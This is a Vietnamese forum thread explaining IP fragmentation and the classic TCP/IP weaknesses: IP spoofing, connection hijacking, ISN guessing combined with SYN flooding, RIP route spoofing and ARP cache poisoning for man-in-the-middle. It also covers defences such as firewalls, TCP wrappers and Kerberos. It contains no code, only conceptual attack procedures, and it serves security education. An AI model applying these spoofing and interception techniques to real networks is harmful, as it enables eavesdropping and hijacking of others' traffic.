|
|
luongxuanquang wrote:
máy của mình dùng wireless lan lúc trước thì nhìn thấy các máy trong workgroup bình thường nhưng khi mình cài lại thì lại không thấy nữa, bây giờ vào workgroup không thấy các máy trong LAN nữa nhưng mình ping các máy trong LAN thì vẫn thấy, có bồ nào chỉ mình làm sao để shown các máy đó lên trong workgoup của mình không?
Có thể bạn khác workgroup -))
|
|
|
Một trong những tính năng của IP là nó có khả năng chia môt gói tin lớn thành các gói tin nhỏ hơn . Sở di phải phân chia như vây vì gói tin lớn không vựot qua đựoc môt số cơ cấu nối mạng ( network link ), do các cơ cấu nối mạng này giới hạn cỡ gói tin (packet size ) có thể đi qua nó. Qúa trình phân chia như trên gọi là qúa trình phân đoạn gói tin ( fragmentation ) và các gói tin nhỏ đựoc gọi là fragments . Các fragments
lưu chuyển trên mạng và không thay đổi trạng thái cho tới khi chúng đựoc kết hơp lại ( reassembled ) với nhau để tạo lại môt gói tin hoàn chỉnh (như lúc đầu trứoc khi phân đoạn ) tại máy đích ( destination machine )..
Flag ( trong header của IP datagram -packet ) xác định qúa trình phân đoạn đã đựoc IP tiến hành như thế nào đối với gói tin có header tương ứng . Vì vây Flags là môt "cờ hiệu " chứ không phải " cờ lệnh ' đối với IP tại Network Layer . Nó ( Flag) chỉ đựoc coi là môt "cờ lệnh " khi gói tin mang " Flag " này đi đến các routers nằm trên đừong tới máy đich . Thừong thì bất cứ môt router nào cũng có thể tư quyết đinh và thưc hiện môt quá trình phân đoạn gói tin qua nó . Nhưng môt gói tin ,có môt Flag (DF) trong IP header của nó , sẽ ngăn cản ( hay "ra lệnh" cho router không làm ) qúa trình phân đoạn tại router . Nhưng ....môt router " muốn " phân đoạn môt gói tin lại bị ngăn cấm do sư hiên diện môt "cờ lệnh " (Flag ) trong IP
header của gói tin , thì router sẽ .....nhất định phải hủy bỏ ( reject ) gói tin này , kết nối trên mạng sẽ đứt , ngừng trệ . Điều đó chẳng hay chút nào , thà rằng hay hơn là tiến hành phân đoạn gói tin từ trứoc, khi gửi nó từ máy lên mạng .
Kết nối trên mạng với các gói tin lớn không bị phân đoạn ( unfragmented ) hiêu qủa hơn nhiều so với trừong hơp phân đoạn gói tin . Viêc gửi đi các gói tin phân đoạn làm giảm tốc độ kết nối môt cách đáng kể . Chưa kể đến những trừong hơp mà môt qúa trình , thí dụ môt cuôc tấn công ( attack ) chỉ chứa đưng trong , hay nói cách khác là chỉ thưc hiên với mỗi môt gói tin nhỏ dung lựong 276 bytes , như trừong hơp I-worm SQL Slammer , thì viêc phân đoạn ( nếu làm như vây )gói tin SQL Slammer , qủa là qúa buồn cừoi
Vấn đề khó khăn là biết xác định cho cỡ gói tin lớn thế nào là vừa đối với môt mạng nào đó ??Vấn đề này đã đựoc giải quyết với sư ra đời hệ thống MTU trong nhưng năm gần đây . MTU ( maximum transmission unit tên đầy đủ path maximum transmission unit ) giúp xác đinh cỡ lớn nhất mà môt gói tin có thể đạt đến khi đựoc truyền qua môt mạng cụ thể .
Trở lại vấn đề fragmentation . Khi qúa trình kết hơp các gói tin nhỏ phân đoạn ( fragments ) lại với nhau tại máy đich không thể thưc hiên đưoc thì máy đich sẽ gửi môt thông điêp ICMP ( ICMP message ) với nôi dung đại thể hay tương tư là " packet reassembly time expired " và gửi trả lại máy nguồn
Ở đây nói thêm là giao thức ICMP cũng như TCP , " tồn tại' ở Transport layer , ICMP đựoc sử dụng để hỗ trợ và thông báo tình trạng của IP( IP status ) .Cũng như TCP packet hay UDP paket ,ICMP packet đựoc " chứa "trong body của IP packet .Khi gói tin IP chứa ICMP packet trong body của nó (gói tin iCMP này mang thông điêp " packet reassembly time expired "như nói trên đây ) đến máy nguồn thì trứoc hết nó cũng phải chui vào Link layer ( hay Ethernet Layer ) , rồi chui tiếp vào IP layer , rồi đến Transort Layer , thưc hiên môt qúa trình Encapsulation và cứ qua mỗi môt lớp ( Layer ) thì gói tin bị "bóc dần " từng header tương ứng .
Tôi không hiểu môt Internet user sẽ có cảm nghĩ gì khi nhân đựoc môt thông điệp ICMP nói trên . Nhưng đối với môt hacker thì đó là môt thông điệp tuyệt vời báo rằng qúa trình tấn công vào máy đích dùng DoS chẳng hạn , lơi dụng yếu điểm của quá trình phân đoạn , đã khợi sự thành công tốt đẹp .
Vâng qúa trình hay nói đơn giản là việc phân đoạn đã và ngày càng lộ ra những yếu điểm chết ngừoi,mà các hacker siêu hạng đang từng bứoc lơi dụng . Nào là các cuộc tấn công DoS vào máy đích đầy hiệu qủa dù máy đich có " đủ" Firewall" loại tốt". Nào là cách overlapping fragment làm rối loạn hệ điều hành và dễ dàng làm hệ thống sụp đổ ... vân vân . Tôi sẽ có dịp viết kỹ thêm về vấn đề này .
QUOTE
là vùng dữ liệu, có độ dài là bội số của 8 bits, và tối đa là 65535 bytes.
Thưc ra môt gói tin có hai phần là header và body . Data chì là môt nôi dung trong body của gói tin , vì trong body còn có những header của các lớp ( Layer) trứoc đó mà gói tin đã từng chuyển vân qua .
Khi mô tả cấu trúc và thành phần của môt gói tin thì phải xác đinh rõ là gói tin dang tồn tại ở lóp nào ( Layer nào ) và gói tin ấy là gói tin đang đi vào hay đang đi ra khỏi hệ thống , không kể đến gói tin mang nhưng data gì và đựoc khơi tạo từ môt protocol nào .
Cách đây khoảng 1 tuần, khi HVA chưa bị down bất chợt, prof có bàn luận với bác PXMMRF về TCP/IP.
Có thể tóm tắt nội dung cuộc thảo luận như sau:
Vấn đề vẫn còn đang tranh cãi là về vị trí của ICMP. Prof cho rằng nó vẫn còn là một bộ phận của IP, bác PXMMRF thì lấy dẫn chứng tài liệu của eEyE để chứng minh ICMP nằm ở TCP. Sau đó, bác conmale có lấy RFC ra để khẳng định ICMP không ở TCP.
Sau đó bác conmale có đưa ra cao kiến là chuyển sang thảo luận về điểm yếu của TCP/IP.
Ngay sau đó, đ/c mrro đã nêu ra điểm yếu đầu tiên của TCP/IP ở chỗ TCP/IP không được mã hoá và đưa ra giải pháp IPSec.
Em thấy chuyển sang bàn luận về điểm yếu của TCP/IP rất hay, nên quyết định post bài này.
Do trình độ và thời gian hạn chế, Prof xin chỉ đi xâu vào một số điểm yếu, có thời gian Prof sẽ bàn luận tiếp. Hi vọng nhận được sự góp ý, trao đổi của các bác.
TCP/IP Weak points
TCP/IP ra đời vào những năm đầu của thập kỉ 80, thời điểm mà vấn đề về an toàn bảo mật thông tin chưa được quan tâm đúng mức cả về phía thiết kế lẫn những attacker, hay nói cách khác nó chưa phải là vấn đề chính được quan tâm. Tuy nhiên, thực tế đã cho thấy những năm sau đó, việc thiếu tính bảo mật an toàn cho TCP/IP đã trở thành một vấn đề nghiêm trọng. Việc TCP/IP ngày càng trở nên phổ biến đã khiến cho nó phơi bày ra những điểm yếu hết sức nguy hiểm.
Trong bài viết này Prof không có tham vọng trình bày hết các điểm yếu của họ giao thức TCP/IP, mà chỉ liệt kê những điểm yếu có thể coi là nổi tiếng của cả TCP/IP và một số giao thức khác đi kèm với TCP/IP (ở đây RIP là một ví dụ).
1. TCP “SYN” Attack (SYN Flooding)
2. IP spoofing
Về điểm yếu 1, Prof nghĩ nhiều người đã biết, nên chọn điểm yếu 2 để trình bày. Điểm yếu này rất thú vị, nó được kế thừa, và "biến tướng" bởi một số phương pháp tấn công phổ biến hiện nay.
IP spoofing là một kiểu tấn công mà trong đó kẻ tấn công sẽ giả vờ gửi dữ liệu từ một địa chỉ không phải là của chúng. Tầng IP sẽ mặc định rằng địa chỉ IP nguồn của bất kỳ gói tin nào mà nó nhận được cũng chính là địa chỉ IP của hệ thống đã thực hiện việc gửi gói tin này, không có sự xác thực nào cả. Rất nhiều giao thức ở mức trên IP và các ứng dụng cũng không thực hiện xác thực điều này. Do vậy, một người nào đó hoàn toàn có thể giả mạo địa chỉ IP nguồn của một gói tin để đạt được quyền ưu tiên mà trước đó không được phép.
Để khai thác triệt để điểm yếu này, kẻ tấn công cần phải sử dụng giá trị TCP sequence number hợp lệ nếu muốn thiết lập một kết nối TCP với máy bị tấn công (hầu hết các dịch vụ thông dụng như Telnet, FTP, và r-command đều dựa trên TCP).
Trong header của TCP có 2 trường quan trọng cần phải nhắc tới, đó là:
Sequence Number (32 bits): số hiệu của byte đầu tiên của segment trừ khi bit SYN được thiết lập. Nếu bit SYN được thiết lập thì Sequence Number là số hiệu tuần tự khởi đầu (ISN) và byte dữ liệu đầu tiên là ISN+1. Tham số này có vai trò như tham số N(S) trong giao thức HDLC.
Acknowledgment Number (32 bits): số hiệu của segment tiếp theo mà trạm nguồn đang chờ để nhận. Ngầm ý báo nhận tốt (các) segment mà trạm đích đã gửi cho trạm nguồn – Tham số này có vai trò như tham số N® trong giao thức HDLC.
Về giao thức HDLC, có thể tham khảo tổng quan tại:
http://www.freesoft.org/CIE/Topics/122.htm
Cũng xin nhắc lại “một chút” cơ chế bắt tay 3 chiều của TCP để hiểu rõ vai trò của 2 trường này.
Như ta đã biết, TCP sử dụng cơ chế bắt tay 3 chiều để thiết lập kết nối giữa 2 máy muốn trao đổi dữ liệu. Khi một host A nào đó muốn “mở” một kết nối tới host B, thì trước tiên A phải gửi một segment khởi tạo (initial segment) tới B. Segment này chứa một giá trị quan trọng, gọi là ISN (Initial Sequence Number) cho phép B sử dụng để gửi dữ liệu cho A. Segment khởi tạo này được xác định bởi bit SYN được set lên 1 trong TCP header. Và nếu bit SYN được thiết lập thì trường Sequence Number sẽ chứa giá trị ISN này. Trong các trường hợp khác (khi bit SYN không được thiết lập), trường Sequence Number sẽ làm nhiệm vụ bình thường, như đã chỉ ra ở trên. Sau đó, nếu không có gì đặc biệt, phía B sẽ gửi thông tin SYN+ACK cho A, và A sẽ gửi lại một ACK hoàn tất việc bắt tay với B.
Tuy nhiên, gói tin ACK cuối cùng này, phải chứa số ISN của host B, bằng không thì kết nối sẽ không được thiết lập. Mặt khác, giá trị ISN trong gói tin SYN+ACK được gửi cho host A, kẻ tấn công bằng cách nào đó phải lấy được giá trị này, khi đó attacker này có thể hoàn tất việc thiết lập kết nối và kiểm soát việc giao tiếp với host B này.
3. Connection Hijacking (CH)
Là một “biến thể” của dạng IP spoofing, cho phép một host có thể tham gia vào giữa một kết nối giữa 2 host nào đó. Với kiểu tấn công IP spoofing có thể gặp trở ngại nếu một hệ thống nào đó được trang bị thêm mức bảo mật, chẳng hạn như xác thực bằng cơ chế xác thực username/password của UNIX, Kerberos… Nhưng với kiểu tấn công này, attacker hoàn toàn có thể vượt qua được quá trình xác thực giữa 2 host và sau đó nắm lấy phần kiểm soát kết nối giữa 2 host này.
CH khai thác trạng thái không đồng bộ (desynchronized state) trong TCP/IP. Khi số hiệu sequence number trong gói tin nhận được không giống với số hiệu trước đó, kết nối này sẽ ở trạng thái gọi là “desynchronized state”. Tuỳ thuộc vào số hiệu squence number thực sự nhận được, tầng TCP hoặc loại bỏ hoặc đưa gói tin này vào một buffer. Ở đây có một khả năng xảy ra, bởi vì TCP sử dụng cách thức cửa sổ trượt (sliding window) để đảm bảo việc truyền thông ngay cả trong trường hợp một gói tin nào đó bị thất lạc hay đến “trễ”. Vì thế, nếu gói tin nhận được không hợp lệ, nhưng vẫn trong phạm vi của cửa sổ trượt, gói tin này sẽ vẫn được lưu lại với giả thiết là gói tin hợp lệ sau đó sẽ đến (các cơ chế TCP khác nhau đều có cơ chế bảo đảm các gói tin đang ở trạng thái chờ cuối cùng cũng sẽ đến đích). Nếu gói tin nhận được nằm ngoài phạm vi của cửa sổ hiện hành thì nó sẽ bị huỷ.
Như vậy, khi 2 trạm tiến hành giao dịch với nhau mà đang ở trạng thái “desynchronized”, thì chúng sẽ bỏ qua tất cả các gói tin đến từ chúng. Kẻ tấn công sẽ lợi dụng điều này để chèn vào một gói tin giả mạo với số thứ tự (sequence number) hợp lệ. Trong trường hợp này, rõ ràng kẻ tấn công phải định vị được phiên truyền thông giữa 2 trạm để họ có thể “bắt” được các thông tin nhạy cảm trên, để từ đó lặp lại các gói tin đã được gửi. Vấn đề cỗi lõi của cách tấn công này là phải tạo ra trạng thái bất đồng bộ (desynchronized state).
Có 2 cách: đó là tạo ra trong quá trình bắt tay, và cách còn lại là tham gia vào giữa một kết nối đã được thiết lập. Về chi tiết cách tạo trạng thái bất đồng bộ nằm ngoài phạm vi bài viết này. Xin hẹn trong một bài viết khác.
Tuy nhiên, cũng xin lưu ý một điểm là khi một trạm nhận các gói tin với các squence number không phù hợp, nó sẽ reply cho trạm nguồn một gói tin ACK trong đó chứa squence number mà nó đang chờ nhận. Nhưng trạm nguồn này sẽ bỏ qua các ACK packet vì chúng chứa các giá trị sequence number không hợp lệ! Trạm nguồn này sau đó gửi ACK packet của nó để thông báo với sender. Như vậy, một số lượng lớn các ACK packet được sinh ra trong cách tấn công này. “Dấu hiệu” này có thể dùng để nhận biết kiểu tấn công connection hijacking.
4. Routing (RIP) Attack
Mặc dù không “chính thức” là một thành phần của TCP/IP, nhưng RIP (Routing Information Protocol) thường được coi là một thành phần “thiết yếu” trong TCP/IP network [RFC1058]. Một cách tổng quát, vai trò của RIP dùng để cung cấp các thông tin về đường đi trong các mạng, chẳng hạn như cung cấp thông tin về đường đi ngắn nhất, và quảng bá thông tin về đường đi từ mạng nội bộ tới các mạng khác. Giống như TCP/IP, RIP không xây dựng cơ chế xác thực, và các thông tin được cung cấp trong RIP packet thường được sử dụng mà không có sự kiểm tra nào. Việc tấn công vào RIP không giống với các cách tấn công thông thường bởi vì nó sẽ thay đổi đích đến của dữ liệu. Ví dụ, một kẻ tấn công có thể giả mạo một gói tin RIP, thông báo máy của attacker là đường đi nhanh nhất ra mạng ngoài. Khi đó, tất cả các gói tin gửi từ mạng đó sẽ bị điều hướng qua máy của attacker. Tại đây chúng có thể bị thay đổi, hay lấy cắp nội dung.
5. ICMP Attack
Tiêu biểu là kiểu tấn công Ping of Death nổi tiếng một thời, được áp dụng cho các HĐH Windows 95, WinNT 3.1.
6. Thiếu tính định danh duy nhất
Trước kia, một địa chỉ IP được dùng để định danh một host trên mạng. Tuy nhiên, do TCP/IP ngày càng trở nên phổ biến, dẫn đến không gian địa chỉ IP ngày càng trở nên bị thu hẹp. Đó là chưa kể đến các Firewall, Proxy server, Network Address Translator ngày càng trở nên phức tạp hơn để có thể sử dụng IP Address làm định danh để quản lý, chuyển đổi các địa chỉ IP giữa mạng nội bộ & mạng ngoài. Các host khác nhau có thể cùng chung một địa chỉ IP, hoặc các địa chỉ IP khác nhau có thể thuộc về cùng một host nào đó.
Vì thế, địa chỉ IP có thể sẽ không còn được dùng để định danh duy nhất một host nữa, thậm chí chỉ trong một khoảng thời gian ngắn nữa thôi.
Trong bài dưới đây, Prof bổ sung thêm một điểm yếu nữa về ISN, không biết đây có phải là điểm yếu mà bác conmale định có thời gian sẽ viết hay không?
Sequence Guessing
Có thể coi đây là một trường hợp con của IP Spoofing về bản chất, nhưng khác về cách thức thực hiện.
Do trường squence number trong TCP header là một số 32 bit nên việc đoán đúng giá trị ISN là rất khó và chậm. Tuy nhiên, nếu số hiệu ISN của một connection nào đó được chỉ định bằng một phương pháp nào đó có thể thuận lợi cho việc đoán trước, thì việc dự đoán sẽ trở nên dễ dàng hơn. Điểm yếu này được phát hiện đầu tiên vào năm 1985, khi Robert Morris mô tả cách dự đoán ISN trong phiên bản BSD 4.2. Trong BSD 4.2, giá trị ISN cho một kết nối được khai báo dưới dạng một biến đếm toàn cục. Theo đó, bộ đếm này sẽ tăng thêm 128 sau mỗi giây, và tăng thêm 64 sau mỗi một kết nối mới (chẳng hạn như bất cứ khi nào một giá trị ISN được khai báo).
Bằng cách ban đầu thiết lập một kết nối thật sự tới máy nạn nhân (victim), kẻ tấn công có thể xác định trạng thái hiện tại của bộ đếm của hệ thống. Sau đó, attacker sẽ biết được giá trị ISN kế tiếp được khai báo bởi victim sẽ tương tự như giá trị ISN đã xác định trước đó, cộng thêm 64.
Tuy nhiên, khi victim nhận được các gói tin giả mạo hoàn thành việc nhận gói tin SYN, nó sẽ gửi một gói tin SYN+ACK cho trạm bị giả mạo. Khi đó, trạm này sẽ loại bỏ gói tin SYN+ACK, vì nó chưa bao giờ khởi tạo một connection. Nó sẽ gửi một lệnh reset (RST) để thông báo tình trạng này, và kết nối của attacker sẽ bị bỏ qua.
Để tránh tình trạng này, kẻ tấn công có thể sử dụng cách tấn công SYN như đã nói ở bài trước để *làm ngập lụt* host mà nó đang mạo nhận. Khi đó, gói tin SYN+ACK được gửi bởi victim tới nó sẽ bị bỏ qua, cùng với bất kỳ gói tin nào khác vì bản thân nó lúc này đang ở tình trạng *ngập lụt*. Và bây giờ, attacker có toàn quyền để hoàn thành kết nối của nó với victim mà không sợ bị RESET giữa chừng.
Việc thường xuyên tăng bộ đếm ISN, như một số hệ điều hành khác đang thực hiện, dường như cũng không trợ giúp được gì nhiều trong việc hạn chế kẻ tấn công đoán được giá trị ISN. Ngay cả khi bộ đếm được tăng 250.000 lần trong một giây (như đề xuất trong chuẩn TCP), attacker vẫn có thể ước lượng được giá trị ISN. Bằng cách liên tục lặp lại việc dự đoán, kẻ tấn công có thể thiết lập được kết nối với một giá trị ISN hợp lệ chỉ trong một vài giờ đồng hồ.
Vậy bằng cách nào để khắc phục điểm yếu này? Xin hẹn trong các bài viết sau.
Rất sẵn sàng. Trong khi chờ đợi mọi người, em post thêm một điểm yếu nữa vậy. Còn về cách khắc phục các điểm yếu này chắc phải....sau tết thôi. Lười quá
ARP spoofing
Một trong những mối đe doạ được coi là lớn nhất đối với một mạng máy tính đó là một *kẻ lừa đảo* nằm trong hệ thống mạng của chúng ta giả vờ *thủ vai* như một trạm được tin cậy (trusted host). Một khi kẻ đó giả mạo thành công một trạm khác trong mạng để tham gia vào quá trình trao đổi thông tin thì hậu quả của nó thật khó mà lường hết được. Loạt bài trên Prof đã đề cập đến một số cách thức giả mạo dựa trên điểm yếu vốn có của TCP/IP. Trong bài này, Prof xin nêu thêm một kiểu tấn công phổ biến nữa, đó là ARP spoofing, dựa trên phân tích điểm yếu của giao thức ARP. ARP spoofing giới hạn phạm vi hoạt động trong một mạng cục bộ và khai thác cách các địa chỉ IP được chuyển đổi sang địa chỉ MAC.
Như ta đã biết, khi một IP datagram được gửi đi từ trạm này sang trạm khác trong cùng một mạng vật lý, địa chỉ IP của trạm đích phải được chuyển đổi sang địa chỉ MAC. Giao thức ARP sẽ giúp ta làm việc chuyển đổi này.
Khi một trạm muốn biết địa chỉ vật lý của trạm khác, nó sẽ gửi broadcast cho toàn mạng một frame có nội dung như sau:
CODE
01:20:14.833350 arp who-has 192.168.0.66 tell 192.168.0.62
Đây được gọi là một ARP request. Vì nó được gửi tới địa chỉ broadcast nên tất cả các Ethernet device trên một mạng cục bộ có thể nhận được request này. Trạm nào có địa chỉ IP phù hợp với ARP request thì nó sẽ trả lời bằng cách gửi một ARP reply:
CODE
01:20:14.833421 arp reply 192.168.0.66 is-at 0:0:d1:1f:3f:f1
Vì bản thân ARP request đã chứa địa chỉ vật lý của sender trong Ethernet frame nên receiver nhận được ARP request này hoàn toàn có thể trả lời cho sender mà không cần phải tạo một ARP request nữa. Tuy nhiên, điểm yếu lớn nhất của giao thức ARP là ở chỗ nó làm một stateless protocol, có nghĩa là nó sẽ không theo dõi các frame trả lời cho các request mà nó đã gửi, và vì thế sẽ chấp nhận các ARP reply mà trước đó không có request. Nếu một kẻ nào đó muốn lấy cắp thông tin từ một trạm khác, attacker sẽ gửi các ARP reply giả mạo phù hợp một địa chỉ IP nào đó đã chọn trước với địa chỉ MAC của chúng. Trạm nhận được các ARP reply giả mạo này không thể phân biệt được nó là ARP reply hợp lệ hay không, và bắt đầu gửi dữ liệu tới địa chỉ MAC của attacker(!).
Một điểm yếu nữa của giao thức ARP đó là bảng thông tin ARP được lưu trữ cục bộ tại mỗi trạm trong một mạng. Điều này nhằm mục đích tăng tốc độ truyền dữ liệu bởi vì địa chỉ MAC sẽ không cần phải kiểm tra mỗi lần một thiết bị này muốn liên lạc với một thiết bị khác. Một kẻ tấn công muốn tiếp tục giả mạo một địa chỉ IP nào đó, nó cần phải làm *ngập lụt* trạm đó với các ARP reply ghi đè lên các ARP hợp lệ từ trạm nguồn. Kiểu tấn công này thường được biết đến với cái tên ARP cache poisoning.
Có nhiều tool sử dụng kỹ thuật này để *thu bắt* thông tin trên các mạng dùng switch hoặc thực hiện kiểu tấn công *man-in-the-middle*, có thể đơn cử tool Ettercap. Tham khảo tại:
http://ettercap.sourceforge.net/
Để chặn luồng thông tin giữa 2 trạm A và B, trạm C sẽ đầu độc (poison) ARP cache của trạm A, làm cho nó *nhầm tưởng* là địa chỉ IP của trạm B giống với địa chỉ MAC của trạm C (chứ không phải là địa chỉ MAC của B). Sau đó C sẽ *poison* bộ cache của B, làm cho nó nhầm tưởng địa chỉ IP của trạm A tương ứng với địa chỉ MAC của C (chứ không phải địa chỉ MAC của A).
Problem with Authentication
Việc hoàn toàn thiếu tính xác thực cho các gói tin IP là điểm yếu chung nhất đối với TCP/IP.
Với việc không có cơ chế xác thực dẫn đến không có một sự bảo đảm nào cho biết gói tin này có xuất phát từ nguồn gốc thật sự của nó hay không. Đây chính là bản chất của tất cả các phương pháp tấn công giả mạo địa chỉ IP và cũng là điểm yếu chính của vấn đề bảo mật IP.
Preventing Sequence Guessing
Để một host A giả mạo thành công một host B trong việc thiết lập kết nối với host C, A phải có khả năng lấy được giá trị của trường sequence number mà C gửi trả lại (cho B). Có nhiều cách để thu được giá trị này, nhưng cách đơn giản nhất là đoán giá trị trường squence number sẽ được sử dụng. Nếu như ta có thể ngăn chặn được việc đoán giá trị tiếp theo của trường sequence number sử dụng trong một kết nối dựa trên số hiệu sequence number đã sử dụng trong một kết nối trước đó thì coi như ta có thể giải quyết được vấn đề này.
Ta sẽ lấy hệ thống của Berkeley để phân tích; phương pháp tăng bộ đếm của họ đã được trình bày ở trên: đó là tăng biến đếm chứa giá trị sequence lên một hằng số A sau mỗi giây và cũng tăng giá trị sequence lên với một hằng số (có giá trị bằng nửa A) đối với mỗi một kết nối đã ở trạng thái thiết lập. Tuy nhiên hệ thống của Berkeley không tuân theo các đặc tả của TCP yêu cầu bộ đếm cần phải được tăng khoảng 250.000 lần mỗi giây. Có lẽ nếu họ tuân theo các đặc tả của giao thức thì biết đâu có thể đã chống được kiểu tấn công sequence guessing.
Chúng ta cùng *ngâm cứu* xem liệu một bộ đếm được thay đổi liên tục với tần số 250.000 lần có giúp được gì cho vấn đề này. Để đơn giản, ta bỏ qua trường hợp các kết nối khác đang connect tới và giả thiết rằng tần số thay đổi bộ đếm này là không đổi.
Theo đặc tả thì giá trị ISN sẽ lặp lại sau 4.55 giờ. Vì giá trị trường TTL nhỏ hơn nhiều so với khoảng thời gian 4.55 giờ nên sẽ không gặp phải trường hợp trên mạng tồn tại hơn một segment có cùng giá trị squence number.
Muốn thu được giá trị sequence number hiện thời của một kết nối, trạm tấn công cần phải gửi một gói tin SYN và nhận gói tin phúc đáp. Gói tin giả mạo đầu tiên này (sẽ được dùng cho việc sinh giá trị squence number tiếp theo) có thể ngay lập tức tiếp theo sau gói tin phúc đáp của server cho gói tin SYN *thật*. Giá trị sequence number sử dụng trong gói tin phúc đáp của server được xác định duy nhất bằng khoảng thời gian từ lúc tạo thông điệp cho đến lúc server xác nhận thông điệp này. Nhưng con số này hoàn toàn là khoảng thời gian đi và về giữa attacker và server. Vì thế, nếu kẻ mạo danh tính toán (dự đoán) chính xác được khoảng thời gian này thì nếu có thay đổi bộ đếm trong phạm vi 4 phần triệu giây (khoảng thời gian chuẩn của đặc tả TCP qui định cho bộ sinh giá trị ISN) cũng không thể chống lại kiểu tấn công này. (Xem thêm RFC793, mục 3.3)
Như vậy, có thể thấy rằng việc áp dụng các đặc tả của giao thức TCP cũng chưa chắc đã ổn thoả. Vậy chúng ta phải làm gì? Theo Steve M.Bellovin, tác giả cuốn Firewalls & Internet Security, Second Edition, Addison Wesley, đưa ra đề nghị rằng chúng ta sẽ sử dụng một bộ sinh số ngẫu nhiên, với hi vọng sẽ làm cho việc phân tích giá trị sequence number sẽ khó khăn hơn. Bellovin cũng khuyến nghị sử dụng thuật toán mã hoá DES thay vì đơn thuần chỉ sử dụng bộ sinh số ngẫu nhiên để tăng mức độ khó cho việc dự đoán việc tăng giá trị sequence number. Dĩ nhiên là tất cả các phương pháp sinh số ngẫu nhiên đều cần phải được phân tích tỉ mỉ và nếu không có gì đặc biệt, một khi có được một phương pháp *đủ mạnh*, thì lúc đó ta sẽ có những giá trị squence khó đoán. Nói thế nào đi nữa, tốt nhất khi lựa chọn giải pháp ta nên tránh việc sử dụng những bộ sinh số sequence number đơn giản, dễ đoán là tốt nhất.
Sử dụng Firewall
Firewall có thể coi là một công cụ hữu hiệu trong việc phòng chống các kiểu tấn công giả mạo trên. Khoan nói đến các *proxy service* thông thường được nói đến như các firewall (mức ứng dụng), chúng ta sẽ tập trung vào những điểm mạnh của firewall được kế thừa từ các kỹ thuật lọc gói tin cơ bản.
Nhiệm vụ quan trọng của firewall nhằm chống lại kiểu tấn công giả mạo là chúng vạch ra ranh giới rõ ràng vùng bên ngoài (outside) firewall và bên trong (inside) firewall; những gì thuộc vùng inside phải qua cổng *inside* trên firewall, và những gì thuộc vùng outside phải đi vào qua cổng *outside*. Điều này có nghĩa là bộ lọc gói tin được cài đặt trong firewall sẽ làm nhiệm vụ lọc bỏ các gói tin bị coi là nguy hiểm. Giả sử bộ lọc này *nhận thấy* có một gói tin có nguồn gốc từ outside nhưng lại có địa chỉ IP nằm trong vùng inside. Đó đích thị là một gói tin giả mạo và cần phải lọc bỏ. Tương tự, nếu một gói tin nào đó có nguồn gôcs không thuộc vùng inside mà firewall quản lý, nó cũng có thể bị lọc bỏ ngay lập tức. Nói cách khác, kiểu lọc này phân chia mạng Internet ra thành các vùng nhỏ hơn mà trong đó không có vùng nào có thể giả mạo lẫn nhau được. Tuy nhiên, việc giả mạo trong nội bộ vùng inside thì firewall không thể ngăn chặn được.
Sử dụng TCP wrappers
Một phương pháp khác để *gia cố* cho điểm yếu về mặt xác thực của TCP/IP là sử dụng các chương trình TCP wrapper. TCP wrapper là một chương trình nhỏ chạy dưới dạng service và thường được khởi động bởi inet daemon. Ví dụ, nếu cài đặt TCP wrapper, khi một người dùng nào đó có ý định sử dụng rlogin thì chương trình rlogin chuẩn sẽ không chạy ngay; mà đầu tiên, một wrapper nhỏ sẽ chạy trước để thực hiện một vài chức năng *security* và nếu mọi việc sau đó được kiểm tra ổn thoả, chương trình rlogin mới thực sự hoạt động.
Bạn có thể download TCP Wrappers theo địa chỉ sau: ftp://ftp.cerias.purdue.edu/pub/tools/uni...pers_7.6.tar.gz
Lợi ích căn bản nhất thu được từ việc cài đặt các wrapper là chúng ta có thể ghi lại thông tin nhật ký như: ai đang yêu cầu dịch vụ gì, và theo dõi các hành vi đáng ngờ nào đó…Hiện tại, các TCP wrapper không chỉ đơn thuần chặn các user bất hợp pháp mà còn có thể truy vấn thêm thông tin về các user này để thu thập thêm thông tin nếu cần.
Các TCP wrapper chắc chắn không phải là một tấm lá chắn vững chắc; và thậm chí chúng không giúp ích được nhiều trong việc ngăn chặn các trường hợp giả mạo địa chỉ IP. Song xét về khía cạnh bảo đảm an toàn an ninh, chúng ít nhiều cung cấp một *rào cản* để chống lại những biến thể chung về vấn đề giả mạo và góp phần tạo thêm một khoảng cách bằng việc gia tăng thêm quá trình kiểm tra được chèn vào những nơi mà chúng có thể không được mong đợi.
Add-On authentication (Kerberos)
Một phương pháp khác để giảm thiểu khả năng giả mạo của kẻ tấn công là thêm quá trình xác thực ở tầng Application. Dĩ nhiên nếu chỉ thêm phần xác thực đơn thuần thì chưa đủ nếu không thêm phần mã hoá; mặt khác, sau quá trình xác thực mức ứng dụng, kiểu tấn công bắt cóc phiên (hijacking) vẫn có thể xảy ra. Rất may là vấn đề này có thể được giải quyết bởi hệ thống xác thực Kerberos (Kerberos Authentication System). Hệ thống Kerberos sử dụng mô hình client/server và cung cấp cơ chế xác thực user-to-server hơn là kiểu xác thực host-to-host đơn thuần. Một khi được cài đặt, hệ thống Kerberos sử dụng khoá phiên (session key) để mã hoá quá trình truyền của bất kỳ dịch vụ nào mà người dùng đó yêu cầu. Kẻ tấn công sẽ không thể giả mạo quá trình truyền tin nếu không biết khoá phiên này. Do khoá phiên được sinh ra dựa trên khoá mật (secret key) - là khoá mà chỉ người dùng thực sự và server được tin cậy (trusted server) biết đến nên việc lấy được khoá mật sẽ rất khó. Tuy nhiên, sẽ rất khó quản lý nếu như mỗi trạm trên mạng cần phải biết thông tin về khoá của tất cả các trạm khác nên cần thiết phải tồn tại một trusted host (nằm ở một nơi nào đó trên mạng), gọi là trung tâm phân phối khoá (Key Distribution Center - KDC) quản lý khoá cho tất cả các trạm trên mạng, hoặc một phần của một mạng nào đó. Theo đó, khi một trạm mới online, chỉ có KDC và trạm này cần phải cấu hình với khoá của nó; khoá có thể được phân phối một cách vật lý hoặc bằng các phương tiện bảo mật khác.
Ngoài ra, hệ thống Kerberos còn có khả năng chống lại kiểu tấn công phát lại (replay attack). Mặc dù còn một số vấn đề liên quan đến việc sử dụng hệ thống Kerberos để xác thực giữa 2 trạm làm việc nhưng nhìn chung Kerberos được xem như một phương pháp tăng cường an ninh hiệu quả cho các mạng máy tính.
Bài viết này không nhằm mục đích đi xâu vào hệ thống Kerberos. Muốn tìm hiểu chi tiết, bạn có thể tham khảo thêm về Kerberos tại:
http://web.mit.edu/kerberos/www/
http://acs.ucsd.edu/info/kerberos.php
Mã hoá từng gói tin IP (SKIP)
